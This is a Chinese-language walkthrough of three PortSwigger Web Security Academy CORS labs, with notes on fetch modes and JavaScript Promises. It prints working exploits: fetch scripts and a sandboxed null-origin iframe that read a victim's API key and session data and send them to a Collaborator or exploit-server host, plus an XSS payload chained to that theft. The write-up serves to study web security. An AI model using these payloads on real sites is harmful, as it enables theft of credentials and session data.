Burp Web Academy CORS 跨域资源共享

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 Cross-origin resource sharing (CORS) 章节(即跨域资源共享)。

0x02. Cross-origin resource sharing (CORS)

2.1 Lab: CORS vulnerability with basic origin reflection

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

使用账号密码登录进入 /my-account 页面,即可看到 API Key。或者,也可以通过 GET /accountDetails 来得到包含 API Key 的 JSON 数据。

在访问 /accountDetails 时,返回的 HTTP Response Header 中包含 Access-Control-Allow-Credentials: true,表明允许跨域访问时携带 Cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
"username": "wiener",
"email": "",
"apikey": "z673hoKkrrrxrEBauO7NulEuuJ69XwiX",
"sessions": [
"fhUcNQSnHozdmfSnus3daqN4jl53hSZd"
]
}

如果在请求头中增加 Origin: https://attacker.com,则服务器响应头包含 Access-Control-Allow-Origin: https://attacker.com,说明存在 CORS 漏洞。

完整利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
fetch('https://0a6600760362c5858020171e00970093.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include',
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
fetch('https://urpcjg3yiaie79tyud0uaco5ww2nqde2.oastify.com',
{method: 'POST', mode: 'no-cors', body: JSON.stringify(data)});
})
</script>

官方解法用的 XMLHttpRequest 配合 Exploit-Server 的访问日志,我这里使用的是 fetch 配合 Burp Collaborator。说说遇到的问题:最开始在 fetch /accountDetails 时,指定了 mode: 'no-cors',此时尽管成功触发了请求,但是读不到返回信息:

  • response.ok 是 false
  • response.status 是 0

而尝试给 fetch 增加 headers 指定 Origin 字段也没有用,因为根据 fetch headers 的描述,Origin 属于 Forbidden header name,即无法通过代码指定。后来发现,去掉 mode: 'no-cors' 就可以了,回顾 Burp Web Academy WebSockets,可知 mode 支持的设定如下:

  • mode 用于指明请求是否可以跨域
    • cors 是默认模式,表明遵守 CORS 设定
    • same-origin 标识完全禁止跨域请求
    • no-cors 标识忽略 CORS 设定,一旦使用该设定,就不允许访问 Response 了,这也是为什么读不到 response.ok

Setting mode to no-cors disables CORS for cross-origin requests. This restricts the headers that may be set, and restricts methods to GET, HEAD, and POST. The response is opaque, meaning that its headers and body are not available to JavaScript. Most of the time a website should not use no-cors: the main application of it is for certain service worker use cases.

而默认情况下,modecors,表明遵守 CORS 设定;而 Header 中的 Origin 则由浏览器自动设定,因此是可以利用 CORS 漏洞的。

1
2
3
4
5
6
7
8
9
10
GET /accountDetails HTTP/2
Host: 0a6600760362c5858020171e00970093.web-security-academy.net
Cookie: session=fhUcNQSnHozdmfSnus3daqN4jl53hSZd
Accept: */*
Origin: https://exploit-0a0f006e0341c5b680a816af013e00dc.exploit-server.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1
2
3
4
5
6
HTTP/2 200 OK
Access-Control-Allow-Origin: https://exploit-0a0f006e0341c5b680a816af013e00dc.exploit-server.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

2.2 Lab: CORS vulnerability with trusted null origin

This website has an insecure CORS configuration in that it trusts the “null” origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

使用账号密码登陆后,为 /accountDetails 请求增加 Origin: https://attacker.com,并重放:

1
2
3
4
5
6
7
GET /accountDetails HTTP/2
Host: 0a55005f032045ba85b0c9d0002d009c.web-security-academy.net
Cookie: session=TBZyFGvnsYOFuveKpggWJWnBxdI0eTqw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Origin: https://attacker.com

得到如下响应:

1
2
3
4
5
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

HTTP Response Header 并没有 Access-Control-Allow-Origin 相关的设置,因此不支持跨域访问

如果在请求头设定 Origin: null

1
2
3
4
5
6
7
GET /accountDetails HTTP/2
Host: 0a55005f032045ba85b0c9d0002d009c.web-security-academy.net
Cookie: session=TBZyFGvnsYOFuveKpggWJWnBxdI0eTqw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Origin: null

则返回 Access-Control-Allow-Origin: null

1
2
3
4
5
6
HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

根据 Access-Control-Allow-Origin - HTTP | MDN 文档:

Note: The value null should not be used. It may seem safe to return Access-Control-Allow-Origin: "null"; however, the origin of resources that use a non-hierarchical scheme (such as data: or file:) and sandboxed documents is serialized as null. Many browsers will grant such documents access to a response with an Access-Control-Allow-Origin: null header, and any origin can create a hostile document with a null origin. Therefore, the null value for the Access-Control-Allow-Origin header should be avoided.

问问 Copilot 如何构造 Originnull 的请求,得知 sandboxed iframe 是可以的,但是 Copilot 给的代码并不正确,没有指定 data:text/html,因此测试时总是没有 Origin: null,我以为是 Chrome 的版本太高了。

最后构造出如下代码,可以在 Burp 自带的 Chrome 中对自己测试成功(Chrome/105.0.5195.102):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,
<script>
fetch('https://0a55005f032045ba85b0c9d0002d009c.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include',
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
fetch('https://urpcjg3yiaie79tyud0uaco5ww2nqde2.oastify.com',
{method: 'POST', mode: 'no-cors', body: JSON.stringify(data)});
})
</script>"></iframe>

不过对于受害者而言,浏览器 UA 提示 Chrome/125.0.0.0,测试一直不成功。但是本地对于 Chrome/133 和 Edge/133 测试又都是可以的。

网上有人在 2024 年反馈过仅对 Victim 有效,但是对自身测试无效,现在是反过来了,暂时不清楚是何原因,先搁置了。

Update:换个时间点测试,在 Burp Collaborator 中收到了 administrator 的信息:

1
2
3
4
5
6
{
"username":"administrator",
"email":"",
"apikey":"AlyDS3dnHEFhTQOLwmUqGEWKKOkgMVoi",
"sessions":["6jnrMlZZzguaaXQI7NW3m3vvGa8IFBZJ"]
}

2.3 Lab: CORS vulnerability with trusted insecure protocols

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

使用账号密码登陆后,基于 GET /accountDetails 测试 Origin: xxx,发现当 Origin 是如下形式时,都支持 Access-Control-Allow-Origin 设置:

1
2
3
4
https://<lab-id>.web-security-academy.net
https://xxx.<lab-id>.web-security-academy.net
http://<lab-id>.web-security-academy.net
http://xxx.<lab-id>.web-security-academy.net

进入商品详情页,发现一个查询接口,是 HTTP 协议:

1
2
3
4
5
6
GET /?productId=1&storeId=1 HTTP/1.1
Host: stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=lUdEabvuiw4km4kGMrvlVlj8OqCimoca; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 16

Stock level: 417

测试发现 productId 可以触发 XSS 漏洞:

1
http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=%3Cscript%3Ealert(1)%3C/script%3E&storeId=1

那么,构造如下利用代码:

1
http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=<script>fetch('https://0a8500650494963380e6ea7a0009005f.web-security-academy.net/accountDetails',{credentials:'include'}).then(r=>r.json()).then(j=>fetch('https://exploit-0aa10028049a96ff8076e96301280033.exploit-server.net/log?key='%2bj.apikey,{mode:'no-cors'}))</script>&storeId=1

有两个需要注意的地方:

  • 第二个 fetch,要指定 mode:'no-cors',这样就允许受害者跨域访问攻击者的域名
    • 确保可以将数据(API Key)回传给攻击者,而不会被 CORS 策略拦截
  • 在构造 '/log?key='+j.apikey 时,+ 需要转义成 %2b,否则会被当作空格字符处理

接下来就是构造利用代码了,期望的代码如下:

1
2
3
<script>
document.location="http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=<script>fetch('https://0a8500650494963380e6ea7a0009005f.web-security-academy.net/accountDetails',{credentials:'include'}).then(r=>r.json()).then(j=>fetch('https://exploit-0aa10028049a96ff8076e96301280033.exploit-server.net/log?key='%2bj.apikey,{mode:'no-cors'}))</script>&storeId=1"
</script>

但是需要进一步编码,否则 </script> 可能导致提前闭合,测试最终版本如下:

1
2
3
<script>
document.location="http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=<script>fetch('https://0a8500650494963380e6ea7a0009005f.web-security-academy.net/accountDetails',{credentials:'include'}).then(r=>r.json()).then(j=>fetch('https://exploit-0aa10028049a96ff8076e96301280033.exploit-server.net/log?key='%2bj.apikey,{mode:'no-cors'}))%3c/script%3e&storeId=1"
</script>

0x03. JavaScript Promise

前面使用 fetch 都是基于 Promise 来处理结果的,相比回调函数会更加方便和简洁。以下内容来自 MDN:

Promise 是一个对象,它代表了一个异步操作的最终完成或者失败。本质上 Promise 是一个函数返回的对象,我们可以在它上面绑定回调函数,这样我们就不需要在一开始把回调函数作为参数传入这个函数了。

1
2
const promise = doSomething();
const promise2 = promise.then(successCallback, failureCallback);

Promise.then 最多可以传递两个回调函数:onFulfilledonRejected 处理函数之一将被执行,以处理当前 Promise 对象的兑现或拒绝。

1
2
then(onFulfilled)
then(onFulfilled, onRejected)

注意,通常只需要使用 onFulfilled 即可,只要 Promise 对象兑现,都是执行这个回调函数,而在回调函数本身可以判断业务代码是执行成功还是失败。特别注意,业务代码本身执行成功还是失败,与 Promise 对象的兑现或拒绝,是两个不同的概念。

链式调用:

1
2
3
4
5
6
7
8
9
10
11
doSomething()
.then(function (result) {
return doSomethingElse(result);
})
.then(function (newResult) {
return doThirdThing(newResult);
})
.then(function (finalResult) {
console.log(`得到最终结果:${finalResult}`);
})
.catch(failureCallback);

函数体也可以使用 => 形式:

1
2
3
4
5
6
7
doSomething()
.then((result) => doSomethingElse(result))
.then((newResult) => doThirdThing(newResult))
.then((finalResult) => {
console.log(`得到最终结果:${finalResult}`);
})
.catch(failureCallback);

这里参数的括号可以省略;对于函数体,如果只是一个表达式,那么表达式的值就是隐式的返回值,而如果函数体是复杂的代码块,则必须通过 return 指定返回值。

0x04. 小结

  • fetch API 的使用,尤其是 mode 的设置
  • JSON 对象转字符串使用 JSON.stringify(obj)
  • CORS 漏洞测试
    • 在请求头指定 Origin 看看响应头是否包含 Access-Control-Allow-Origin
      • 如果没有,则浏览器默认只支持同源访问(Same-Origin Policy,SOP,同源策略),即不可跨域访问
      • 如果指定的就是 Origin 的值,说明存在 CORS 漏洞
    • 也可以指定 Origin: null 进行测试
      • 通过 <iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,... 构造此类利用代码
    • 测试子域名
    • 测试不同的协议(httphttps

0x05. 参考文档

  1. https://portswigger.net/web-security/all-labs#cross-origin-resource-sharing-cors
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials
  3. https://developer.mozilla.org/en-US/docs/Web/API/Headers
  4. https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name
  5. https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
  6. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin
  7. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
  8. https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Using_promises